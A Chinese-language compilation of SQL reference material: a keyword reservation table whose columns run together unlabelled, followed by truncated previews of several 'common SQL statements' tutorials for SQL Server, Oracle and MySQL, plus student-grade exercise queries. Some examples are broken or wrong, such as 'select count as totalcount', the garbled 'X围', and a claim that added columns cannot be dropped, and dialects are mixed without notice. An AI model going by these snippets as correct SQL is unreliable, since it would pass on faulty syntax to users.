SQL关键字

SQL关键字
SQL关键字

ABORT 非保留

ABS 非保留ABSOLUTE 非保留保留保留ACCESS 非保留

ACTION 非保留保留保留ADA 非保留非保留ADD 非保留保留保留ADMIN 保留

AFTER 非保留保留AGGREGATE 非保留保留

ALIAS 保留

ALL 保留保留保留ALLOCATE 保留保留ALTER 非保留保留保留ANALYSE 保留

ANALYZE 保留

AND 保留保留保留ANY 保留保留保留ARE 保留保留ARRAY 保留

AS 保留保留保留ASC 保留保留保留ASENSITIVE 非保留ASSERTION 保留保留ASSIGNMENT 非保留ASYMMETRIC 非保留

AT 非保留保留保留ATOMIC 非保留

AUTHORIZATION 非保留保留保留AVG 非保留保留BACKWARD 非保留

BEFORE 非保留保留

BEGIN 非保留保留保留BETWEEN 保留(可以是函数) 非保留保留BINARY 保留(可以是函数) 保留

BIT 非保留(不能是函数或者类型) 保留保留BITVAR 非保留

BIT_LENGTH 非保留保留BLOB 保留BOOLEAN 保留

BOTH 保留保留保留BREADTH 保留

BY 非保留保留保留C 非保留非保留CACHE 非保留

CALL 保留

CALLED 非保留CARDINALITY 非保留CASCADE 非保留保留保留CASCADED 保留保留CASE 保留保留保留CAST 保留保留保留CATALOG 保留保留CATALOG_NAME 非保留非保留CHAIN 非保留非保留

CHAR 非保留(不能是函数或类型) 保留保留

CHARACTER 非保留(不能是函数或类型) 保留保留CHARACTERISTICS 非保留

CHARACTER_LENGTH 非保留保留CHARACTER_SET_CATALOG 非保留非保留CHARACTER_SET_NAME 非保留非保留CHARACTER_SET_SCHEMA 非保留非保留CHAR_LENGTH 非保留保留CHECK 保留保留保留CHECKED 非保留CHECKPOINT 非保留

CLASS 保留

CLASS_ORIGIN 非保留非保留CLOB 保留

CLOSE 非保留保留保留CLUSTER 非保留

COALESCE 非保留(不能是函数或者类型) 非保留保留COBOL 非保留非保留COLLATE 保留保留保留COLLATION 保留保留COLLATION_CATALOG 非保留非保留COLLATION_NAME 非保留非保留COLLATION_SCHEMA 非保留非保留COLUMN 保留保留保留COLUMN_NAME 非保留非保留COMMAND_FUNCTION 非保留非保留COMMAND_FUNCTION_CODE 非保留COMMENT 非保留

COMMIT 非保留保留保留

COMMITTED 非保留非保留非保留COMPLETION 保留CONDITION_NUMBER 非保留非保留CONNECT 保留保留CONNECTION 保留保留CONNECTION_NAME 非保留非保留CONSTRAINT 保留保留保留CONSTRAINTS 非保留保留保留CONSTRAINT_CATALOG 非保留非保留CONSTRAINT_NAME 非保留非保留CONSTRAINT_SCHEMA 非保留非保留CONSTRUCTOR 保留CONTAINS 非保留CONTINUE 保留保留CONVERT 非保留保留COPY 非保留

CORRESPONDING 保留保留COUNT 非保留保留CREATE 非保留保留保留CREATEDB 非保留

CREATEUSER 非保留

CROSS 保留(可以是函数) 保留保留CUBE 保留CURRENT 保留保留CURRENT_DATE 保留保留保留CURRENT_PATH 保留CURRENT_ROLE 保留CURRENT_TIME 保留保留保留

CURRENT_TIMESTAMP 保留保留保留CURRENT_USER 保留保留保留CURSOR 非保留保留保留CURSOR_NAME 非保留非保留CYCLE 非保留保留

DATA 保留非保留DATABASE 非保留

DATE 保留保留DATETIME_INTERVAL_CODE 非保留非保留DATETIME_INTERVAL_PRECISION 非保留非保留DAY 非保留保留保留DEALLOCATE 保留保留DEC 非保留(不能是函数或者类型) 保留保留DECIMAL 非保留(不能是函数或者类型) 保留保留DECLARE 非保留保留保留DEFAULT 保留保留保留DEFERRABLE 保留保留保留DEFERRED 非保留保留保留DEFINED 非保留DEFINER 非保留DELETE 非保留保留保留DELIMITERS 非保留

DEPTH 保留

DEREF 保留

DESC 保留保留保留DESCRIBE 保留保留DESCRIPTOR 保留保留DESTROY 保留

DESTRUCTOR 保留DETERMINISTIC 保留DIAGNOSTICS 保留保留DICTIONARY 保留DISCONNECT 保留保留DISPATCH 非保留DISTINCT 保留保留保留DO 保留

DOMAIN 保留保留DOUBLE 非保留保留保留DROP 非保留保留保留DYNAMIC 保留DYNAMIC_FUNCTION 非保留非保留DYNAMIC_FUNCTION_CODE 非保留

EACH 非保留保留

ELSE 保留保留保留ENCODING 非保留

ENCRYPTED 非保留

END 保留保留保留END-EXEC 保留保留EQUALS 保留ESCAPE 非保留保留保留EVERY 保留EXCEPT 保留保留保留EXCEPTION 保留保留EXCLUSIVE 非保留

EXEC 保留保留EXECUTE 非保留保留保留

EXISTING 非保留EXISTS 非保留(不能是函数或类型) 非保留保留EXPLAIN 非保留

EXTERNAL 保留保留EXTRACT 非保留(不能是函数或类型) 非保留保留FALSE 保留保留保留FETCH 非保留保留保留FINAL 非保留

FIRST 保留保留FLOAT 非保留(不能是函数或类型) 保留保留FOR 保留保留保留FORCE 非保留

FOREIGN 保留保留保留FORTRAN 非保留非保留FORWARD 非保留

FOUND 保留保留FREE 保留FREEZE 非保留(可以是函数)

FROM 保留保留保留FULL 保留(可以是函数) 保留保留FUNCTION 非保留保留

G 非保留GENERAL 保留GENERATED 非保留

GET 保留保留GLOBAL 非保留保留保留GO 保留保留GOTO 保留保留

GRANT 非保留保留保留GRANTED 非保留GROUP 保留保留保留GROUPING 保留HANDLER 非保留

HAVING 保留保留保留HIERARCHY 非保留HOLD 非保留HOST 保留

HOUR 非保留保留保留IDENTITY 保留保留IGNORE 保留

ILIKE 保留(可以是函数)

IMMEDIATE 非保留保留保留IMPLEMENTATION 非保留

IN 保留(可以是函数) 保留保留INCREMENT 非保留

INDEX 非保留

INDICATOR 保留保留INFIX 非保留INHERITS 非保留

INITIALIZE 保留INITIALLY 保留保留保留INNER 保留(可以是函数) 保留保留INOUT 非保留保留

INPUT 保留保留INSENSITIVE 非保留非保留保留INSERT 非保留保留保留

INSTANCE 非保留INSTANTIABLE 非保留INSTEAD 非保留

INT 保留保留INTEGER 保留保留INTERSECT 保留保留保留INTERVAL 非保留(不能是函数或类型) 保留保留INTO 保留保留保留INVOKER 非保留

IS 保留(可以是函数) 保留保留ISNULL 保留(可以是函数)

ISOLATION 非保留保留保留ITERATE 保留

JOIN 保留(可以是函数) 保留保留K 非保留

KEY 非保留保留保留KEY_MEMBER 非保留

KEY_TYPE 非保留LANCOMPILER 非保留

LANGUAGE 非保留保留保留LARGE 保留

LAST 保留保留LATERAL 保留LEADING 保留保留保留LEFT 保留(可以是函数) 保留保留LENGTH 非保留非保留LESS 保留

LEVEL 非保留保留保留

LIKE 保留(可以是函数) 保留保留LIMIT 保留保留

LISTEN 非保留

LOAD 非保留

LOCAL 非保留保留保留LOCALTIME 保留LOCALTIMESTAMP 保留LOCATION 非保留

LOCATOR 保留

LOCK 非保留

LOWER 非保留保留M 非保留

MAP 保留

MATCH 非保留保留保留MAX 非保留保留MAXVALUE 非保留

MESSAGE_LENGTH 非保留非保留MESSAGE_OCTET_LENGTH 非保留非保留MESSAGE_TEXT 非保留非保留METHOD 非保留

MIN 非保留保留MINUTE 非保留保留保留MINVALUE 非保留

MOD 非保留

MODE 非保留

MODIFIES 保留

MODIFY 保留MODULE 保留保留

MONTH 非保留保留保留MORE 非保留非保留MOVE 非保留

MUMPS 非保留非保留NAME 非保留非保留NAMES 非保留保留保留NATIONAL 非保留保留保留NATURAL 保留(可以是函数) 保留保留NCHAR 非保留(不能是函数或类型) 保留保留NCLOB 保留

NEW 保留保留

NEXT 非保留保留保留NO 非保留保留保留NOCREATEDB 非保留

NOCREATEUSER 非保留

NONE 非保留(不能是函数或类型) 保留

NOT 保留保留保留NOTHING 非保留

NOTIFY 非保留

NOTNULL 保留(可以是函数)

NULL 保留保留保留NULLABLE 非保留非保留NULLIF 非保留(不能是函数或类型) 非保留保留NUMBER 非保留非保留NUMERIC 非保留(不能是函数或类型) 保留保留OBJECT 保留

OCTET_LENGTH 非保留保留OF 非保留保留保留

OFF 保留保留OFFSET 保留

OIDS 非保留

OLD 保留保留

ON 保留保留保留ONLY 保留保留保留OPEN 保留保留OPERATION 保留OPERATOR 非保留

OPTION 非保留保留保留OPTIONS 非保留

OR 保留保留保留ORDER 保留保留保留ORDINALITY 保留

OUT 非保留保留OUTER 保留(可以是函数) 保留保留OUTPUT 保留保留OVERLAPS 保留(可以是函数) 非保留保留OVERLAY 非保留OVERRIDING 非保留OWNER 非保留

PAD 保留保留PARAMETER 保留PARAMETERS 保留PARAMETER_MODE 非保留PARAMETER_NAME 非保留PARAMETER_ORDINAL_POSITION 非保留PARAMETER_SPECIFIC_CATALOG 非保留

PARAMETER_SPECIFIC_NAME 非保留PARAMETER_SPECIFIC_SCHEMA 非保留PARTIAL 非保留保留保留PASCAL 非保留非保留PASSWORD 非保留

PATH 非保留保留PENDANT 非保留

PLI 非保留非保留POSITION 非保留(不能是函数或类型) 非保留保留POSTFIX 保留PRECISION 非保留保留保留PREFIX 保留PREORDER 保留PREPARE 保留保留PRESERVE 保留保留PRIMARY 保留保留保留PRIOR 非保留保留保留PRIVILEGES 非保留保留保留PROCEDURAL 非保留

PROCEDURE 非保留保留保留PUBLIC 保留(可以是函数) 保留保留READ 非保留保留保留READS 保留

REAL 保留保留RECURSIVE 保留

REF 保留REFERENCES 保留保留保留REFERENCING 保留

REINDEX 非保留

RELATIVE 非保留保留保留RENAME 非保留

REPEATABLE 非保留非保留REPLACE 非保留

RESET 非保留

RESTRICT 非保留保留保留RESULT 保留RETURN 保留RETURNED_LENGTH 非保留非保留RETURNED_OCTET_LENGTH 非保留非保留RETURNED_SQLSTATE 非保留非保留RETURNS 非保留保留REVOKE 非保留保留保留RIGHT 保留(可以是函数) 保留保留ROLE 保留ROLLBACK 非保留保留保留ROLLUP 保留ROUTINE 保留ROUTINE_CATALOG 非保留ROUTINE_NAME 非保留ROUTINE_SCHEMA 非保留

ROW 非保留保留

ROWS 保留保留ROW_COUNT 非保留非保留RULE 非保留

SAVEPOINT 保留

SCALE 非保留非保留

SCHEMA 非保留保留保留SCHEMA_NAME 非保留非保留SCOPE 保留SCROLL 非保留保留保留SEARCH 保留SECOND 非保留保留保留SECTION 保留保留SECURITY 非保留SELECT 保留保留保留SELF 非保留SENSITIVE 非保留SEQUENCE 非保留保留SERIALIZABLE 非保留非保留非保留SERVER_NAME 非保留非保留SESSION 非保留保留保留SESSION_USER 保留保留保留SET 非保留保留保留SETOF 非保留(不能是函数或类型)

SETS 保留

SHARE 非保留

SHOW 非保留

SIMILAR 非保留SIMPLE 非保留

SIZE 保留保留SMALLINT 保留保留SOME 保留保留保留SOURCE 非保留SPACE 保留保留

SPECIFIC 保留SPECIFICTYPE 保留SPECIFIC_NAME 非保留

SQL 保留保留SQLCODE 保留SQLERROR 保留SQLEXCEPTION 保留SQLSTATE 保留保留SQLWARNING 保留

START 非保留保留

STATE 保留STATEMENT 非保留保留

STATIC 保留STATISTICS 非保留

STDIN 非保留

STDOUT 非保留

STRUCTURE 保留

STYLE 非保留SUBCLASS_ORIGIN 非保留非保留SUBLIST 非保留SUBSTRING 非保留(不能是函数或类型) 非保留保留SUM 非保留保留SYMMETRIC 非保留

SYSID 非保留

SYSTEM 非保留SYSTEM_USER 保留保留TABLE 保留保留保留TABLE_NAME 非保留非保留

TEMP 非保留

TEMPLATE 非保留

TEMPORARY 非保留保留保留TERMINATE 保留

THAN 保留

THEN 保留保留保留TIME 非保留(不能是函数或类型) 保留保留TIMESTAMP 非保留(不能是函数或类型) 保留保留TIMEZONE_HOUR 保留保留TIMEZONE_MINUTE 保留保留TO 保留保留保留TOAST 非保留

TRAILING 保留保留保留TRANSACTION 非保留保留保留TRANSACTIONS_COMMITTED 非保留TRANSACTIONS_ROLLED_BACK 非保留TRANSACTION_ACTIVE 非保留TRANSFORM 非保留TRANSFORMS 非保留TRANSLATE 非保留保留TRANSLATION 保留保留TREAT 保留TRIGGER 非保留保留TRIGGER_CATALOG 非保留TRIGGER_NAME 非保留TRIGGER_SCHEMA 非保留TRIM 非保留(不能是函数或类型) 非保留保留TRUE 保留保留保留

TRUNCATE 非保留

TRUSTED 非保留

TYPE 非保留非保留非保留UNCOMMITTED 非保留非保留UNDER 保留UNENCRYPTED 非保留

UNION 保留保留保留UNIQUE 保留保留保留UNKNOWN 非保留保留保留UNLISTEN 非保留

UNNAMED 非保留非保留UNNEST 保留

UNTIL 非保留

UPDATE 非保留保留保留UPPER 非保留保留USAGE 保留保留USER 保留保留保留USER_DEFINED_TYPE_CATALOG 非保留

USER_DEFINED_TYPE_NAME 非保留

USER_DEFINED_TYPE_SCHEMA 非保留USING 保留保留保留VACUUM 非保留

VALID 非保留

VALUE 保留保留VALUES 非保留保留保留VARCHAR 非保留(不能是函数或类型) 保留保留VARIABLE 保留VARYING 非保留保留保留

VERBOSE 保留(可以是函数)

VERSION 非保留

VIEW 非保留保留保留WHEN 保留保留保留WHENEVER 保留保留WHERE 保留保留保留WITH 非保留保留保留WITHOUT 非保留保留

WORK 非保留保留保留WRITE 保留保留YEAR 非保留保留保留ZONE 非保留保留保留

常用SQL语句大全

常用SQL语句大全 一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 DROP database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2…from tab_old definition only 5、说明:删除新表 DROP table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键:Alter table tabname DROP primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:DROP index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:DROP view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1 求和:select sum(field1) as sumvalue from table1 平均:select avg(field1) as avgvalue from table1 最大:select max(field1) as maxvalue from table1 最小:select min(field1) as minvalue from table1 11、说明:几个高级查询运算词

SQL查询语句大全集锦(超经典)

SQL查询语句大全集锦 MYSQL查询语句大全集锦 一、简单查询 简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的 表或视图、以及搜索条件等。 例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。 复制内容到剪贴板 代码:SELECT `nickname`,`email`FROM `testtable`WHERE `name`='张三' (一) 选择列表 选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。 1、选择所有列 例如,下面语句显示testtable表中所有列的数据: 复制内容到剪贴板 代码:SELECT * FROM testtable 2、选择部分列并指定它们的显示次序 查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。 例如: 复制内容到剪贴板 代码:SELECT nickname,email FROM testtable 3、更改列标题 在选择列表中,可重新指定列标题。定义格式为: 列标题=列名 列名列标题 如果指定的列标题不是标准的标识符格式时,应使用引号定界符,例如,下列语句使用汉字显示列 标题:

复制内容到剪贴板 代码:SELECT 昵称=nickname,电子邮件=email FROM testtable 4、删除重复行 SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行,默认 为ALL。使用DISTINCT选项时,对于所有重复的数据行在SELECT返回的结果集合中只保留一行。 5、限制返回的行数 使用TOP n [PERCENT]选项限制返回的数据行数,TOP n说明返回n行,而TOP n PERCENT时,说明n是 表示一百分数,指定返回的行数等于总行数的百分之几。 例如: 复制内容到剪贴板 代码:SELECT TOP 2 * FROM `testtable` 复制内容到剪贴板 代码:SELECT TOP 20 PERCENT * FROM `testtable` (二) FROM子句 FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图, 它们之间用逗号分隔。 在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列 所属的表或视图。例如在usertable和citytable表中同时存在cityid列,在查询两个表中的cityid时应使用下面语句格式加以限定: 复制内容到剪贴板 代码:SELECT `username`,citytable.cityid FROM `usertable`,`citytable` WHERE usertable.cityid=citytable.cityid在FROM子句中可用以下两种格式为表或视图指定别名: 复制内容到剪贴板 代码:表名 as 别名 表名别名例如上面语句可用表的别名格式表示为: 复制内容到剪贴板

SQL Server2000常用语句

SQL Server 2000常用命令,语法使用方法 (1) 数据记录筛选: sql="select * from 数据表 where 字段名=字段值 order by 字段名 [desc]" sql="select * from 数据表 where 字段名 like '%字段值%' order by 字段名 [desc]" sql="select top 10 * from 数据表 where 字段名 order by 字段名 [desc]" sql="select * from 数据表 where 字段名 in ('值1','值2','值3')" sql="select * from 数据表 where 字段名 between 值1 and 值2" (2) 更新数据记录: sql="update 数据表 set 字段名=字段值 where 条件表达式" sql="update 数据表 set 字段1=值1,字段2=值2 …… 字段n=值n where 条件表达式" (3) 删除数据记录: sql="delete from 数据表 where 条件表达式" sql="delete from 数据表" (将数据表所有记录删除) (4) 添加数据记录: sql="insert into 数据表 (字段1,字段2,字段3 …) values (值1,值2,值3 …)" sql="insert into 目标数据表 select * from 源数据表" (把源数据表的记录添加到目标数据表) (5) 数据记录统计函数: AVG(字段名) 得出一个表格栏平均值 COUNT(*|字段名) 对数据行数的统计或对某一栏有值的数据行数统计 MAX(字段名) 取得一个表格栏最大的值 MIN(字段名) 取得一个表格栏最小的值 SUM(字段名) 把数据栏的值相加 引用以上函数的方法:

SQL搜索语句

SQL查询语句大全集锦 一、简单查询 简单的Transact-SQL查询只包括选择列表、FROM子句和WHERE子句。它们分别说明所查询列、查询的表或视图、以及搜索条件等。 例如,下面的语句查询testtable表中姓名为“张三”的nickname字段和email字段。 代码:SELECT `nickname`,`email`FROM `testtable`WHERE `name`='张三' (一) 选择列表 选择列表(select_list)指出所查询列,它可以是一组列名列表、星号、表达式、变量(包括局部变量和全局变量)等构成。 1、选择所有列 例如,下面语句显示testtable表中所有列的数据: 代码:SELECT * FROM testtable 2、选择部分列并指定它们的显示次序 查询结果集合中数据的排列顺序与选择列表中所指定的列名排列顺序相同。 例如: 代码:SELECT nickname,email FROM testtable 3、更改列标题 在选择列表中,可重新指定列标题。定义格式为: 列标题=列名 列名列标题 如果指定的列标题不是标准的标识符格式时,应使用引号定界符,例如,下列语句使用汉字显示列 标题: 代码:SELECT 昵称=nickname,电子邮件=email FROM testtable 4、删除重复行 SELECT语句中使用ALL或DISTINCT选项来显示表中符合条件的所有行或删除其中重复的数据行,默认为ALL。使用DISTINCT选项时,对于所有重复的数据行在SELECT返回的结果集合中只保留一行。 5、限制返回的行数 使用TOP n [PERCENT]选项限制返回的数据行数,TOP n说明返回n行,而TOP n PERCENT时,说明n 是 表示一百分数,指定返回的行数等于总行数的百分之几。 例如: 代码:SELECT TOP 2 * FROM `testtable` 代码:SELECT TOP 20 PERCENT * FROM `testtable` (二) FROM子句 FROM子句指定SELECT语句查询及与查询相关的表或视图。在FROM子句中最多可指定256个表或视图,它们之间用逗号分隔。 在FROM子句同时指定多个表或视图时,如果选择列表中存在同名列,这时应使用对象名限定这些列 所属的表或视图。例如在usertable和citytable表中同时存在cityid列,在查询两个表中的cityid时应

ORACLE常用SQL语句大全

ORACLE常用SQL语句大全 一、基础 1、说明:创建数据库 CREATE DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:/mssql7backup/MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not nul l],..) 根据已有的表创建新表: A:select * into table_new from table_old (使用旧表创建新表) B:create table tab_new as select col1,col2… from tab_old definition only<仅适用于Oracle> 5、说明:删除表 drop table tablename

6、说明:增加一个列,删除一个列 A:alter table tabname add column col type B:alter table tabname drop column colname 注:DB2DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、添加主键: Alter table tabname add primary key(col) 删除主键: Alter table tabname drop primary key(col) 8、创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、创建视图:create view viewname as select statement 删除视图:drop view viewname 10、几个简单的基本的sql语句 选择:select * from table1 where 范围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where 范围 更新:update table1 set field1=value1 where 范围 查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1 求和:select sum(field1) as sumvalue from table1 平均:select avg(field1) as avgvalue from table1 最大:select max(field1) as maxvalue from table1 最小:select min(field1) as minvalue from table1 11、几个高级查询运算词 A:UNION 运算符 UNION 运算符通过组合其他两个结果表(例如 TABLE1 和 TABLE2)并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时(即 UNION ALL),不消除重复行。两种情况下,派生表的每一行不是来自 TABLE1 就是来自 TABLE2。 B:EXCEPT 运算符 EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当ALL 随 EXCEPT 一起使用时 (EXCEPT ALL),不消除重复行。 C:INTERSECT 运算符 INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL),不消除重复行。 注:使用运算词的几个查询结果行必须是一致的。 12、使用外连接

SQL SEVER 常用语句

整理了一下,希望对大家有用 SQL语句大全 --语句功能 --数据操作 SELECT --从数据库表中检索数据行和列INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 --数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除触发器CREATE SCHEMA --向数据库添加一个新模式DROP SCHEMA --从数据库中删除一个模式CREATE DOMAIN --创建一个数据值域 ALTER DOMAIN --改变域定义 DROP DOMAIN --从数据库中删除一个域 --数据控制 GRANT --授予用户访问权限 DENY --拒绝用户访问 REVOKE --解除用户访问权限 --事务控制 COMMIT --结束当前事务 ROLLBACK --中止当前事务 SET TRANSACTION --定义当前事务数据访问特征--程序化SQL DECLARE --为查询设定游标 EXPLAN --为查询描述数据访问计划 OPEN --检索查询结果打开一个游标 FETCH --检索一行查询结果 CLOSE --关闭游标 PREPARE --为动态执行准备SQL 语句EXECUTE --动态地执行SQL 语句 DESCRIBE --描述准备好的查询

SQL常用语句与解释

SQL常用语句与解释 (1)数据记录筛选: sql="select * from 数据表where 字段名=字段值order by 字段名[desc]" //从数据表中读取“字段名=字段值”的所有字段并根据字段名排序【倒序】sql="select * from 数据表where 字段名like '%字段值%' order by 字段名[desc]" //从数据表中读取“字段名中包含字段值”的所有字段并根据字段名排序【倒序】sql="select top10 * from 数据表where 字段名=字段值order by 字段名[desc]" //从数据表中读取前10条满足“字段名=字段值”的所有字段并根据字段名排序【倒序】 sql="select * from 数据表where 字段名in('值1','值2','值3')" //从数据表中读取“字段名满足三个值中的一个”的所有字段 (2)更新数据记录: sql="update 数据表set 字段名=字段值where 条件表达式" //更新数据表中满足条件表达式的记录的字段(更新一条字段)sql="update 数据表set 字段1=值1,字段2=值2……字段n=值n where 条件表达式" //更新数据表中满足条件表达式的记录的多个字段(更新多条字段) (3)删除数据记录: sql="delete from 数据表where 条件表达式" //删除数据表中满足条件表达式的所有记录 sql="delete from 数据表" //将数据表所有记录删除 (4)添加数据记录: sql="insert into 数据表(字段1,字段2,字段3…) values(值1,值2,值3…)" //将值1,值2,值3...插入数据表的字段1,字段2,字段3... sql="insert into 目标数据表select * from 源数据表" //把源数据表的记录添加到目标数据表 (5)数据记录统计函数: AVG(字段名)//得出一个表格某个字段的平均值 COUNT(*|字段名)//对数据行数的统计或对某一字段有值的数据行数统计 MAX(字段名)//取得一个表格中某字段的最大值 MIN(字段名)//取得一个表格中某字段的最小值 SUM(字段名)//取得一个表格中某字段的总和 引用以上函数的方法: sql="select sum(字段名) as 别名from 数据表where 条件表达式" //别名是为了引用的需要

数据库基本----sql语句大全

学会数据库是很实用D~~记录一些常用的sql语句...有入门有提高有见都没见过的...好全...收藏下... 其实一般用的就是查询,插入,删除等语句而已....但学学存储过程是好事...以后数据方面的东西就不用在程序里搞喽..而且程序与数据库只要一个来回通讯就可以搞定所有数据的操作.... 一、基础 1、说明:创建数据库 Create DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2… from tab_old definition only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的是增加varchar类型的长度。 7、说明:添加主键:Alter table tabname add primary key(col) 说明:删除主键:Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col….) 删除索引:drop index idxname 注:索引是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement 删除视图:drop view viewname 10、说明:几个简单的基本的sql语句 选择:select * from table1 where X围 插入:insert into table1(field1,field2) values(value1,value2) 删除:delete from table1 where X围 更新:update table1 set field1=value1 where X围 查找:select * from table1 where field1 like ’%value1%’ ---like的语法很精妙,查资料! 排序:select * from table1 order by field1,field2 [desc] 总数:select count as totalcount from table1 求和:select sum(field1) as sumvalue from table1 平均:select avg(field1) as avgvalue from table1 最大:select max(field1) as maxvalue from table1

SQL常用语句及函数方法

1、通常用到的字符串转日期格式 Select CONVERT(varchar(100), GETDATE(), 0): 05 16 2006 10:57AM Select CONVERT(varchar(100), GETDATE(), 1): 05/16/06 Select CONVERT(varchar(100), GETDATE(), 2): 06.05.16 Select CONVERT(varchar(100), GETDATE(), 3): 16/05/06 Select CONVERT(varchar(100), GETDATE(), 4): 16.05.06 Select CONVERT(varchar(100), GETDATE(), 5): 16-05-06 Select CONVERT(varchar(100), GETDATE(), 6): 16 05 06 Select CONVERT(varchar(100), GETDATE(), 7): 05 16, 06 Select CONVERT(varchar(100), GETDATE(), 8): 10:57:46 Select CONVERT(varchar(100), GETDATE(), 9): 05 16 2006 10:57:46:827AM Select CONVERT(varchar(100), GETDATE(), 10): 05-16-06 Select CONVERT(varchar(100), GETDATE(), 11): 06/05/16 Select CONVERT(varchar(100), GETDATE(), 12): 060516 Select CONVERT(varchar(100), GETDATE(), 13): 16 05 2006 10:57:46:937 Select CONVERT(varchar(100), GETDATE(), 14): 10:57:46:967 Select CONVERT(varchar(100), GETDATE(), 20): 2006-05-16 10:57:47 Select CONVERT(varchar(100), GETDATE(), 21): 2006-05-16 10:57:47.157 Select CONVERT(varchar(100), GETDATE(), 22): 05/16/06 10:57:47 AM Select CONVERT(varchar(100), GETDATE(), 23): 2006-05-16 Select CONVERT(varchar(100), GETDATE(), 24): 10:57:47

50个常用sql语句实例(学生表 课程表 成绩表 教师表)

Student(S#,Sname,Sage,Ssex) 学生表 Course(C#,Cname,T#) 课程表 SC(S#,C#,score) 成绩表 Teacher(T#,Tname) 教师表 create table Student(S# varchar(20),Sname varchar(10),Sage int,Ssex varchar(2)) 前面加一列序号: if exists(select table_name from information_schema.tables where table_name='Temp_Table') drop table Temp_Table go select 排名=identity(int,1,1),* INTO Temp_Table from Student go select * from Temp_Table go drop database [ ] --删除空的没有名字的数据库 问题: 1、查询“”课程比“”课程成绩高的所有学生的学号; select a.S# from (select s#,score from SC where C#='001') a,(select s#,score from SC where C#='002') b where a.score>b.score and a.s#=b.s#; 2、查询平均成绩大于分的同学的学号和平均成绩; select S#,avg(score) from sc group by S# having avg(score) >60; 3、查询所有同学的学号、姓名、选课数、总成绩; select Student.S#,Student.Sname,count(SC.C#),sum(score) from Student left Outer join SC on Student.S#=SC.S# group by Student.S#,Sname 4、查询姓“李”的老师的个数; select count(distinct(Tname)) from Teacher where Tname like '李%'; 5、查询没学过“叶平”老师课的同学的学号、姓名; select Student.S#,Student.Sname from Student

50个经典SQL查询语句

--一个题目涉及到的50个Sql语句 --(下面表的结构以给出,自己在数据库中建立表.并且添加相应的数据,数据要全面些. 其中Student表中,SId为学生的ID) ------------------------------------表结构-------------------------------------- --学生表tblStudent(编号StuId、姓名StuName、年龄StuAge、性别StuSex) --课程表tblCourse(课程编号CourseId、课程名称CourseName、教师编号TeaId) --成绩表tblScore(学生编号StuId、课程编号CourseId、成绩Score) --教师表tblTeacher(教师编号TeaId、姓名TeaName) --------------------------------------------------------------------------------- --1、查询“001”课程比“002”课程成绩高的所有学生的学号; Select StuId From tblStudent s1 Where (Select Score From tblScore t1 Where t1.StuId=s1.stuId And t1.CourseId='001')> (Select Score From tblScore t2 Where t2.StuId=s1.stuId And t2.CourseId='002') --2、查询平均成绩大于60分的同学的学号和平均成绩; Select StuId,Avg(Score) as AvgScore From tblScore Group By StuId Having Avg(Score)>60 